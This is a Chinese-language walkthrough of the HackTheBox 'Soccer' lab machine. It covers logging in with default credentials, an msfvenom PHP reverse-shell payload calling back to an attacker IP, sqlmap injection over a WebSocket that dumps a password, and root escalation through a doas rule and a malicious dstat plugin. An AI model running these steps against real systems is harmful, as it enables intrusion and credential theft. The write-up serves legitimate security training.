挑了个看起来简单的靶场复健一下。

0x00 信息收集

IP:10.10.11.194

开放了80和22。看了下主页都是和球球有关的东西,毫无兴趣捏^^。

扫描,用到的字典:戳我

python3 dirsearch.py -w ../../wordlist/all-dirs.txt -u http://soccer.htb/

扫描到路径/tiny/,进入后台界面:

谷歌高搜一下CPP Programmers,可以找到这个文件:戳我,这里直接有默认登录口令的明文信息:

使用admin/admin@123就可以直接登录进入后台啦^^

0x01 漏洞利用

看起来文件管理器没有过滤,就考虑msf生成php🐎:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=5555 > test.php

监听:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.16
msf6 exploit(multi/handler) > set lport 5555

上线:

这个时候在/home目录下可以找到用户player,里面有user.txt(flag),可惜此时无法读取。

cat /etc/hosts

127.0.0.1       localhost       soccer  soccer.htb      soc-player.soccer.htb
127.0.1.1       ubuntu-focal    ubuntu-focal

在本地也绑定一下这个域名,访问:

注册然后再次登录进入该页面:

然后瓶颈了,看了下参考资料是分析js源代码:

    <script>
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        ……
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        ……
    </script>

该网站使用了ws协议传参,使用sqlmap开梭:

python3 sqlmap.py --url "ws://soc-player.soccer.htb:9091" --data='{"id":1}' --dbs

–dump一下soccer_db:

+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

ssh 10.10.11.194 -l player,密码PlayerOftheMatch2022,登录即可看到flag。

0x02 权限提升

find / -user root -perm -4000 -print 2>/dev/null

结果有/usr/local/bin/doas,doas可以替代sudo,维基百科介绍如下:

doas 是一个用来以其他用户身份执行指令的程序。系统管理员可以对其进行设置,赋予指定用户执行特定指令的权限。其为以ISC许可证许可的自由及开放源代码软件,可在UNIX与类Unix操作系统中使用。 doas是由Ted Unangst为OpenBSD所开发的,是一种更简单且更安全的sudo替代品。

查找doas的配置文件位置:

find / -type f -name doas.conf 2>/dev/null

查看doas的配置文件:

cat /usr/local/etc/doas.conf

配置文件的内容如下:

permit nopass player as root cmd /usr/bin/dstat

提权资料参考:戳我

不用资料里那么麻烦,可以写一个调用bash的py脚本让doas去调用。

> cd /usr/local/share/dstat/(/usr/share/dstat无权限)
> touch dstat_shawroot.py
> vim dstat_shawroot.py
import os
os.system('bash -i')
> chmod 777 dstat_shawroot.py
> doas /usr/bin/dstat --shawroot

成功提升到root权限,切换到root目录下即可看到flag。